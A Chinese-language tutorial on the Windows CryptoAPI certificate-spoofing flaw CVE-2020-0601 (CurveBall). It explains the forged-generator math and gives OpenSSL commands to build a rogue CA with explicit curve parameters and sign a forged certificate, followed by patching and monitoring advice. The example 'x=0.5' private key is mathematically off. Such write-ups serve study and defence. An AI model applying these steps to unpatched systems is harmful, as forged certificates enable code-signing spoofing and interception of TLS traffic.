CVE-2020-0601:使用POC解释了CHAINOFFOOLS CURVEBALL攻击
字数 1160 2025-08-18 11:39:22
CVE-2020-0601 (CHAINOFFOOLS/CURVEBALL) 漏洞分析与利用教学文档
漏洞概述
CVE-2020-0601是微软Windows CryptoAPI (Crypt32.dll)中存在的证书验证漏洞,由美国国家安全局(NSA)发现并报告。该漏洞影响Windows 10、Windows Server 2016和2019版本。
漏洞本质:Windows CryptoAPI在验证椭圆曲线密码术(ECC)证书时存在缺陷,允许攻击者伪造证书链,使恶意证书看似来自受信任的根证书颁发机构(CA)。
漏洞影响
- 代码签名欺骗:攻击者可创建看似来自可信来源的恶意可执行文件
- 中间人攻击:可解密与受影响软件的TLS连接中的机密信息
- 证书伪造:可伪造任意域名的SSL/TLS证书
技术原理
ECC基础
在椭圆曲线密码学(ECDSA)中:
- 私钥
k是一个大整数 - 公钥
Pk是椭圆曲线上的点,通过公式Pk = k×G计算得出 G是曲线生成器(基点),通常是标准化的
漏洞核心
当证书中包含显式定义的椭圆曲线参数时,Windows CryptoAPI存在验证缺陷:
- 攻击者可选择任意生成器
G',为已知公钥Pk创建对应的私钥x - 通过构造
G' = (1/x)×Pk,使得x×G' = Pk成立 - 这样攻击者就"知道"了对应公钥
Pk的私钥x
漏洞利用步骤
1. 选择目标CA证书
选择Windows信任的根CA中使用了ECC的证书,例如:
- USERTrust ECC Certification Authority
- 使用OpenSSL提取其公钥信息:
openssl x509 -in USERTrustECCCertificationAuthority.crt -text -noout
2. 获取目标CA的公钥
从证书中提取ECC公钥点Pk的坐标:
Public-Key: (384 bit)
pub:
04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53:
c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c:
d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee:
5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d:
97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4:
70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d:
32:7f:8a:34:e3:79:79
3. 构造恶意生成器
- 选择一个随机值
x作为伪造的私钥(例如x=0.5) - 计算恶意生成器
G' = (1/x)×Pk
4. 创建恶意CA证书
- 生成一个带有显式曲线参数的PEM文件模板:
openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit - 使用Python Crypto.IO PEM模块修改模板,注入恶意曲线参数
5. 生成恶意终端证书
- 生成新的ECC密钥对:
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem - 创建证书签名请求(CSR):
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr - 使用恶意CA签署CSR:
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
防御措施
- 及时更新:安装微软2020年1月发布的安全补丁
- 证书监控:监控系统中是否存在包含显式曲线参数的证书
- 网络防护:实施严格的网络流量监控,检测异常证书使用
- 最小权限:限制代码执行权限,减少潜在攻击面
实际影响评估
该漏洞:
- 需要一定的技术能力才能利用,不适合脚本小子
- 主要威胁来自国家级攻击者
- 不会导致像WannaCry那样的广泛勒索软件攻击
- 最危险的应用场景是针对特定目标的高级中间人攻击